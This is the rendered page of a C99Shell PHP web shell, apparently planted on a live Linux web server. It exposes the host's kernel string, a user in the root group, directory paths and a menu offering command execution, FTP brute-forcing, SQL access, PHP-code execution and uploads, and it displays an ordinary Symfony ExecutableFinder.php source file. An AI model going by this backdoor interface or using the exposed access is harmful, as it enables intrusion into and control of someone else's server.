!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/process/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExecutableFinder.php (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process;

/**
 * Generic executable finder.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class ExecutableFinder
{
    private 
$suffixes = ['.exe''.bat''.cmd''.com'];

    
/**
     * Replaces default suffixes of executable.
     */
    
public function setSuffixes(array $suffixes)
    {
        
$this->suffixes $suffixes;
    }

    
/**
     * Adds new possible suffix to check for executable.
     */
    
public function addSuffix(string $suffix)
    {
        
$this->suffixes[] = $suffix;
    }

    
/**
     * Finds an executable by name.
     *
     * @param string      $name      The executable name (without the extension)
     * @param string|null $default   The default to return if no executable is found
     * @param array       $extraDirs Additional dirs to check into
     */
    
public function find(string $namestring $default null, array $extraDirs = []): ?string
    
{
        if (
\ini_get('open_basedir')) {
            
$searchPath array_merge(explode(\PATH_SEPARATOR\ini_get('open_basedir')), $extraDirs);
            
$dirs = [];
            foreach (
$searchPath as $path) {
                
// Silencing against https://bugs.php.net/69240
                
if (@is_dir($path)) {
                    
$dirs[] = $path;
                } else {
                    if (
basename($path) == $name && @is_executable($path)) {
                        return 
$path;
                    }
                }
            }
        } else {
            
$dirs array_merge(
                
explode(\PATH_SEPARATORgetenv('PATH') ?: getenv('Path')),
                
$extraDirs
            
);
        }

        
$suffixes = [''];
        if (
'\\' === \DIRECTORY_SEPARATOR) {
            
$pathExt getenv('PATHEXT');
            
$suffixes array_merge($pathExt explode(\PATH_SEPARATOR$pathExt) : $this->suffixes$suffixes);
        }
        foreach (
$suffixes as $suffix) {
            foreach (
$dirs as $dir) {
                if (@
is_file($file $dir.\DIRECTORY_SEPARATOR.$name.$suffix) && ('\\' === \DIRECTORY_SEPARATOR || @is_executable($file))) {
                    return 
$file;
                }
            }
        }

        return 
$default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--